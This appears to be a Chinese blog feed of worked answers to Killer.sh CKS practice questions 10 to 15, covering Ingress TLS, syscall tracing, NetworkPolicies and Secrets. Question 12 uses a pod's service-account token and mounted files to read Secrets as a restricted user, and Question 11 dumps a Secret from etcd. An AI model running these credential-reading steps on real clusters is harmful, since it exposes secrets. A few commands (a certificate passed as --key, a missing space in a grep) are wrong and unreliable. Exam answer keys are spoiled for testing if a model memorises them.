<code>/opt/course/15/tls.key</code> 和 <code>/opt/course/15/tls.crt</code> 提供的密钥和证书。由于这是一个自签的证书，你需要在连接它时使用 <code>curl -k</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查域名与地址</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-pink get ing secure</span><br><span class="line">ping secure-ingress.test</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/8352366743cf27106772a079374617f2d7cea47f3793f2a195c2217d47998e6c.jpg" alt="TLS-ingress-0">  </p><p>访问测试,并检查证书</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://secure-ingress.test:31080/app</span><br><span class="line">curl http://secure-ingress.test:31080/api</span><br><span class="line">curl https://secure-ingress.test:31443/api</span><br><span class="line">curl -k https://secure-ingress.test:31443/api</span><br><span class="line">curl -kv https://secure-ingress.test:31443/api</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/65b552b2e31e9f9578d718bc07f3b0decb8d8bb7467a49e8f49884e6111bec98.jpg" alt="TLS-ingress-1">  </p><p>使用证书创建 secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-pink create secret tls tls-secret --key /opt/course/15/tls.crt --cert /opt/course/15/tls.crt</span><br><span class="line">k -n team-pink get ing secure -oyaml &gt; 15_ing_bak.yaml</span><br><span class="line">k -n team-pink edit ing secure</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl -n team-pink edit ing secure</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Ingress</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line">  <span class="attr">generation:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">secure</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">team-pink</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">tls:</span>                            <span class="comment"># 添加</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">hosts:</span>                      <span class="comment"># 添加</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">secure-ingress.test</span>       <span class="comment"># 添加</span></span><br><span class="line">      <span class="attr">secretName:</span> <span class="string">tls-secret</span>      <span class="comment"># 添加</span></span><br><span class="line">  <span class="attr">rules:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">host:</span> <span class="string">secure-ingress.test</span></span><br><span class="line">    <span class="attr">http:</span></span><br><span class="line">      <span class="attr">paths:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">backend:</span></span><br><span class="line">          <span class="attr">service:</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">secure-app</span></span><br><span class="line">            <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">        <span class="attr">path:</span> <span class="string">/app</span></span><br><span class="line">        <span class="attr">pathType:</span> <span class="string">ImplementationSpecific</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">backend:</span></span><br><span class="line">          <span class="attr">service:</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">secure-api</span></span><br><span class="line">            <span class="attr">port:</span> <span class="number">80</span></span><br><span class="line">        <span class="attr">path:</span> <span class="string">/api</span></span><br><span class="line">        <span class="attr">pathType:</span> <span class="string">ImplementationSpecific</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><p>再次检查证书</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl -k https://secure-ingress.test:31443/api</span><br><span class="line">curl -kv https://secure-ingress.test:31443/api</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1afadb79b96c7d96a05f4783aa295f86df4644f477cea2441e6c88b4fc1a095a.jpg" alt="TLS-ingress-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 14 | Syscall Activity</title>
      <link href="/archives/kubernetes/CKS/Syscall.html"/>
      <url>/archives/kubernetes/CKS/Syscall.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>There are Pods in Namespace  <code>team-yellow</code> . A security investigation noticed that some processes running in these Pods are using the Syscall  <code>kill</code> , which is forbidden by a Team Yellow internal policy.</p><p>Find the offending Pod(s) and remove these by reducing the replicas of the parent Deployment to 0.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：4%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>名称空间 <code>team-yellow</code> 中有一些 Pod。一项安全调查发现，在这些 Pod 中运行的一些进程正在使用 Syscall <code>kill</code> ，这是 Team Yellow 的内部政策所禁止的。</p><p>找到违规的Pod，并通过将父部署的副本减少到0来删除这些Pod。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://man7.org/linux/man-pages/man2/syscalls.2.html">https://man7.org/linux/man-pages/man2/syscalls.2.html</a></p><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查 ns team-yellow在哪个节点运行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-yellow get pod -owide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/64766ca1145500ba9bdae49110ede7d1caef230168155c1aab40783a050b7f66.jpg" alt="Syscall-0">  </p><p>进入node1 找到第一个部署的进程, 流程: Pod name -&gt; ContainerID　－＞　processID　－＞　strace跟踪</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-node1</span><br><span class="line"></span><br><span class="line">crictl pods --name collector1</span><br><span class="line">crictl ps --pod 21aacb8f4ca8d</span><br><span class="line">crictl inspect 9ea02422f8660 | grep args -A1</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/01ec75fe85ae2384523f9aa0178c6d87baa4d714f64bc377991e84ac041b0a0c.jpg" alt="Syscall-1">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps aux | grep collector1-process</span><br><span class="line">strace -p 35039</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/bfe07d35272facf2abc4302fdbf898c965ff2bae85408a0783a3b66757e346da.jpg" alt="Syscall-2"><br><img src="https://images.hao.kim/uploads/2024/12/5e81cc0fec86a090b820b7d9e2faa8cf9fd562396462441dfdbfe49864cfcc4d.jpg" alt="Syscall-3">  </p><p>以此类推分别检查另外2个</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps aux | grep collector2-process</span><br><span class="line">strace -p 35375</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/4ece883a647d892ca473213465732e7acacee8fa8b46b7d56ebf8f8a30594968.jpg" alt="Syscall-4">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ps aux | grep collector3-process</span><br><span class="line">strace -p 35155</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5630f4990284d6226a728114fdbd70ac18df79a859662eac0cb9c7dbb04d925b.jpg" alt="Syscall-5">  </p><p>2 和 3 都正常 ,collector1 有 syscall 记录, 缩容到0</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-yellow scale deploy collector1 --replicas 0</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 13 | Restrict access to Metadata Server</title>
      <link href="/archives/kubernetes/CKS/NetworkPolicy-3.html"/>
      <url>/archives/kubernetes/CKS/NetworkPolicy-3.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 7%</p><p>Use context: <code>kubectl config use-context infra-prod</code></p><p>There is a metadata service available at <code>http://192.168.100.21:32000</code> on which Nodes can reach sensitive data, like cloud credentials for initialisation. By default, all Pods in the cluster also have access to this endpoint. The DevSecOps team has asked you to restrict access to this metadata server.</p><p>In Namespace  <code>metadata-access</code> :</p><ul><li>Create a NetworkPolicy named <code>metadata-deny</code> which prevents egress to <code>192.168.100.21</code> for all Pods but still allows access to everything else</li><li>Create a NetworkPolicy named <code>metadata-allow</code> which allows Pods having label <code>role: metadata-accessor</code> to access endpoint <code>192.168.100.21</code></li></ul><p>There are existing Pods in the target Namespace with which you can test your policies, but don’t change their labels.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重 7%</p><p>使用上下文: <code>kubectl config use-context infra-prod</code></p><p>在 <code>http://192.168.100.21:32000</code> ，有一个元数据服务，节点可以接触到敏感数据，如初始化的云证书。默认情况下，集群中的所有Pod也可以访问这个端点。DevSecOps团队已经要求你限制对这个元数据服务器的访问。</p><p>在命名空间  <code>metadata-access</code> 。</p><ul><li>创建一个名为 <code>metadata-deny</code> 的 NetworkPolicy，阻止所有Pod出口到 <code>192.168.100.21</code> ，但仍然允许访问其他所有东西。</li><li>创建一个名为 <code>metadata-allow</code> 的 NetworkPolicy，允许具有标签角色的 <code>Pod：metadata-accessor</code> 访问端点192.168.100.21。</li></ul><p>在目标命名空间中有现有的Pod，你可以用它来测试你的策略，但不要改变它们的标签。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>容器内访问 <code>http://192.168.100.21:32000</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `k -n metadata-access get pod -o name`; <span class="keyword">do</span> <span class="built_in">echo</span> <span class="variable">$i</span> ; k -n metadata-access <span class="built_in">exec</span> <span class="variable">$i</span> -- curl -s http://192.168.100.21:32000 ; <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f0d5365742fc498509bd80fce93c7d47a545ff2204ef5740433eb6b998057bab.jpg" alt="NetworkPolicy-3-0">  </p><p>创建networkpolicy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim 13_metadata-deny.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 13_metadata-deny.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">NetworkPolicy</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">metadata-deny</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">metadata-access</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">podSelector:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">policyTypes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Egress</span></span><br><span class="line">  <span class="attr">egress:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">to:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">ipBlock:</span></span><br><span class="line">        <span class="attr">cidr:</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span><span class="string">/0</span></span><br><span class="line">        <span class="attr">except:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.100</span><span class="number">.21</span><span class="string">/32</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 13_metadata-deny.yaml apply</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/264a15668fc665658606ccd3226180b1bfff8b918c57c270a23674691cc2ce7f.jpg" alt="NetworkPolicy-3-1">  </p><p>创建第二个networkpolicy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim 13_metadata-allow.yaml</span><br></pre></td></tr></table></figure><p>vim 13_metadata-allow.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 13_metadata-allow.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">NetworkPolicy</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">metadata-allow</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">metadata-access</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">podSelector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">role:</span> <span class="string">metadata-accessor</span></span><br><span class="line">  <span class="attr">policyTypes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Egress</span></span><br><span class="line">  <span class="attr">egress:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">to:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">ipBlock:</span></span><br><span class="line">        <span class="attr">cidr:</span> <span class="number">192.168</span><span class="number">.100</span><span class="number">.21</span><span class="string">/32</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 13_metadata-allow.yaml apply</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/40484542d2ac060a4c1696a461fe077e49b9d8b7181456f2a847567afc39f65c.jpg" alt="NetworkPolicy-3-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 12 | Hack Secrets</title>
      <link href="/archives/kubernetes/CKS/hack-secret.html"/>
      <url>/archives/kubernetes/CKS/hack-secret.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 8%</p><p>Use context: <code>kubectl config use-context restricted@infra-prod</code></p><p>You’re asked to investigate a possible permission escape in Namespace  <code>restricted</code> . The context authenticates as user <code>restricted</code> which has only limited permissions and shouldn’t be able to read Secret values.</p><p>Try to find the password-key values of the Secrets  <code>secret1</code> , <code>secret2</code> and <code>secret3</code> in Namespace  <code>restricted</code> . Write the decoded plaintext values into files  <code>/opt/course/12/secret1</code> , <code>/opt/course/12/secret2</code> and  <code>/opt/course/12/secret3</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重: 8%</p><p>使用上下文: <code>kubectl config use-context restricted@infra-prod</code></p><p>你被要求调查 Namespace <code>restricted</code> 中可能存在的权限逃逸问题。该上下文以用户 <code>restricted</code> 身份进行认证，该用户只有有限的权限，不应该读取 Secret 值。</p><p>试着在名字空间 <code>restricted</code> 中找到  <code>secret1</code> 、<code>secret2</code> 和 <code>secret3</code> 的密码-密钥值。将解码后的明文值写入文件  <code>/opt/course/12/secret1</code> 、<code>/opt/course/12/secret2</code> 和 <code>/opt/course/12/secret3</code> 中。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>列出所有</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted get all</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1ae052f0b444f920fcf250cbd63f559066c6a4a2bf9598de3aa1b948a2a9b5c0.jpg" alt="hack-secret-0">  </p><p>查看pod1 发现挂载路径有secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted describe pod pod1-5cbc4bfd57-sl42h</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/504849c08309854aac8125b44740d5891e26211e421affe1570e4be157cf7ab3.jpg" alt="hack-secret-1">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted <span class="built_in">exec</span>  pod1-5cbc4bfd57-sl42h -- <span class="built_in">ls</span> /etc/secret-volume/</span><br><span class="line">k -n restricted <span class="built_in">exec</span>  pod1-5cbc4bfd57-sl42h -- <span class="built_in">cat</span> /etc/secret-volume/password</span><br><span class="line">k -n restricted <span class="built_in">exec</span>  pod1-5cbc4bfd57-sl42h -- <span class="built_in">cat</span> /etc/secret-volume/password &gt; /opt/course/12/secret1</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/10842e7625b73deb19b09eb77f5e325eaaf60a50fcdb9110c550cbf250aeec0b.jpg" alt="hack-secret-2">  </p><p>查找pod2 的secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted describe pod pod2-7d85f59c98-zqtbl</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/774407f9ad0902e69e2aa0dfd76566e9f47ba5e5d9ac62e392bf01799d3deb8c.jpg" alt="hack-secret-3">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted <span class="built_in">exec</span> pod2-7d85f59c98-zqtbl -- <span class="built_in">env</span></span><br><span class="line"><span class="built_in">echo</span> an-amazing &gt; /opt/course/12/secret2</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e10bcee5b6418241f7cb54ace7b1b6278daab8d8728dcce7288550e690c1d255.jpg" alt="hack-secret-4">  </p><p>查找pod3 secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted describe pod pod3-5c577bbf8d-hghrs</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2ba1eee3f491ab72be9bb86420586da0f293bf2327206749e50854574266e610.jpg" alt="hack-secret-5">  </p><p>进入到容器中检查下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n restricted <span class="built_in">exec</span> -it pod3-5c577bbf8d-hghrs -- sh</span><br><span class="line"></span><br><span class="line"><span class="built_in">ls</span> /var/run/secrets/kubernetes.io/serviceaccount</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d0701a4f9716e1df19de617b558e592dddb8e3958df8a5cc34135cacbfd835d7.jpg" alt="hack-secret-6">  </p><p>使用token获取secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl https://kubernetes.default/api/v1/namespaces/restricted/secrets -H <span class="string">&quot;Authorization: Bearer <span class="subst">$(cat /run/secrets/kubernetes.io/serviceaccount/token)</span>&quot;</span> -k</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/654517cbf47f625ee7bd30fe85dddb4b95f07f2f99b21b6a5a2a7a839688dfaa.jpg" alt="hack-secret-7">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> cEVuRXRSYVRpT24tdEVzVGVSCg== | <span class="built_in">base64</span> -d &gt; /opt/course/12/secret3</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 11 | Secrets in ETCD</title>
      <link href="/archives/kubernetes/CKS/etcd-secret.html"/>
      <url>/archives/kubernetes/CKS/etcd-secret.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 7%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>There is an existing Secret called <code>database-access</code> in Namespace  <code>team-green</code> .</p><p>Read the complete Secret content directly from ETCD (using  <code>etcdctl</code> ) and store it into  <code>/opt/course/11/etcd-secret-content</code> . Write the plain and decoded Secret’s value of key “pass” into  <code>/opt/course/11/database-password</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：7%。</p><p>使用环境：<code>kubectl config use-context workload-prod</code></p><p>在命名空间 <code>team-green</code> 中有一个名为 <code>data-access</code> 的现有 Secret。</p><p>直接从 ETCD 读取完整的 Secret 内容（使用 <code>etcdctl</code> ），并将其存储到 <code>/opt/course/11/etcd-secret-content</code> 。在<code>/opt/course/11/database-password</code> 中写入纯文本和解码的Secret的密钥 “pass “的值。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>进入控制节点,然后检查是否安装了etcdctl</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-controlplane1</span><br><span class="line"></span><br><span class="line">etcdctl</span><br></pre></td></tr></table></figure><p>查询证书密钥相关的文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">输出结果</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--etcd-servers=https://127.0.0.1:2379</span> <span class="comment"># optional since we&#x27;re on same node</span></span><br></pre></td></tr></table></figure><p>通过上面的结果进行secret的查询</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ETCDCTL_API=3 etcdctl \</span><br><span class="line">--cert /etc/kubernetes/pki/apiserver-etcd-client.crt \</span><br><span class="line">--key /etc/kubernetes/pki/apiserver-etcd-client.key \</span><br><span class="line">--cacert /etc/kubernetes/pki/etcd/ca.crt get /registry/secrets/team-green/database-access</span><br></pre></td></tr></table></figure><p>查询路径 <code>/registry/{type}/{namespace}/{name}</code></p><p>把结果写入文件</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/11/etcd-secret-content</span></span><br><span class="line"><span class="string">/registry/secrets/team-green/database-access</span></span><br><span class="line"><span class="string">k8s</span></span><br><span class="line"></span><br><span class="line"><span class="string">v1Secret</span></span><br><span class="line"></span><br><span class="line"><span class="string">database-access</span></span><br><span class="line"><span class="string">team-green&quot;*$3e0acd78-709d-4f07-bdac-d5193d0f2aa32bB</span></span><br><span class="line"><span class="string">0kubectl.kubernetes.io/last-applied-configuration&#123;&quot;apiVersion&quot;:&quot;v1&quot;,&quot;data&quot;:&#123;&quot;pass&quot;:&quot;Y29uZmlkZW50aWFs&quot;&#125;,&quot;kind&quot;:&quot;Secret&quot;,&quot;metadata&quot;:&#123;&quot;annotations&quot;:&#123;&#125;,&quot;name&quot;:&quot;database-access&quot;,&quot;namespace&quot;:&quot;team-green&quot;&#125;&#125;</span></span><br><span class="line"><span class="string">z</span></span><br><span class="line"><span class="attr">kubectl-client-side-applyUpdatevFieldsV1:</span></span><br><span class="line">&#123;<span class="string">&quot;f:data&quot;</span><span class="string">:</span>&#123;<span class="string">&quot;.&quot;</span><span class="string">:</span>&#123;&#125;,<span class="string">&quot;f:pass&quot;</span><span class="string">:</span>&#123;&#125;&#125;,<span class="string">&quot;f:metadata&quot;</span><span class="string">:</span>&#123;<span class="string">&quot;f:annotations&quot;</span><span class="string">:</span>&#123;<span class="string">&quot;.&quot;</span><span class="string">:</span>&#123;&#125;,<span class="string">&quot;f:kubectl.kubernetes.io/last-applied-configuration&quot;</span><span class="string">:</span>&#123;&#125;&#125;&#125;,<span class="string">&quot;f:type&quot;</span><span class="string">:</span>&#123;&#125;&#125;</span><br><span class="line"><span class="string">pass</span></span><br><span class="line">    <span class="string">confidentialOpaque&quot;</span></span><br></pre></td></tr></table></figure><p>解码pass的值并写入文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> Y29uZmlkZW50aWFs | <span class="built_in">base64</span> -d &gt; /opt/course/11/database-password</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 10 | Container Runtime Sandbox gVisor</title>
      <link href="/archives/kubernetes/CKS/sandbox-gVisor-1.html"/>
      <url>/archives/kubernetes/CKS/sandbox-gVisor-1.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 4%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>Team purple wants to run some of their workloads more secure. Worker node <code>cluster1-node2</code> has container engine containerd already installed and it’s configured to support the runsc&#x2F;gvisor runtime.</p><p>Create a RuntimeClass named <code>gvisor</code> with handler  <code>runsc</code> .</p><p>Create a Pod that uses the RuntimeClass. The Pod should be in Namespace  <code>team-purple</code> , named <code>gvisor-test</code> and of image  <code>nginx:1.19.2</code> . Make sure the Pod runs on  <code>cluster1-node2</code> .</p><p>Write the <code>dmesg</code> output of the successfully started Pod into  <code>/opt/course/10/gvisor-test-dmesg</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：4%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>Purple团队希望更安全地运行他们的一些工作负载。工作节点 <code>cluster1-node2</code> 已经安装了容器引擎 <code>containerd</code> ，它被配置为支持 <code>runsc/gvisor</code> 运行时。</p><p>创建一个名为 <code>gvisor</code> 的 RuntimeClass，处理程序为  <code>runsc</code> 。</p><p>创建一个使用该 RuntimeClass 的 Pod 。这个 Pod 应该在命名空间 <code>team-purple</code> 中，命名为 <code>gvisor-test</code> ，镜像为 <code>nginx:1.19.2</code> 。确保该 Pod 运行在 <code>cluster1-node2</code> 上。</p><p>将成功启动的 Pod 的 <code>dmesg</code> 输出写入 <code>/opt/course/10/gvisor-test-dmesg</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>查看节点,并登陆远程节点检查runsc版本和配置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node -o wide</span><br><span class="line">ssh cluster1-node2</span><br><span class="line"></span><br><span class="line">runsc --version</span><br><span class="line">grep runsc/etc/containerd/config.toml</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d0c9556c741f63ec0f3a344b58418a04eb7be9ee9b2e34b34c403d8512952952.jpg" alt="sandbox-gVisor-1-0">  </p><p>创建一个RuntimeCLasses文件,并创建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim 10_rtc.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 10_rtc.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">node.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">RuntimeClass</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gvisor</span></span><br><span class="line"><span class="attr">handler:</span> <span class="string">runsc</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 10_rtc.yaml create</span><br></pre></td></tr></table></figure><p>创建一个pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-purple run gvisor-test --image=nginx:1.19.2 <span class="variable">$do</span> &gt; 10_pod.yaml</span><br><span class="line"></span><br><span class="line">vim 10_pod.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 10_pod.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">gvisor-test</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">gvisor-test</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">team-purple</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">nodeName:</span> <span class="string">cluster1-node2</span>   <span class="comment"># 添加</span></span><br><span class="line">  <span class="attr">runtimeClassName:</span> <span class="string">gvisor</span>   <span class="comment"># 添加</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.19.2</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">gvisor-test</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 10_pod.yaml create</span><br></pre></td></tr></table></figure><p>检查pod运行情况 和 日志 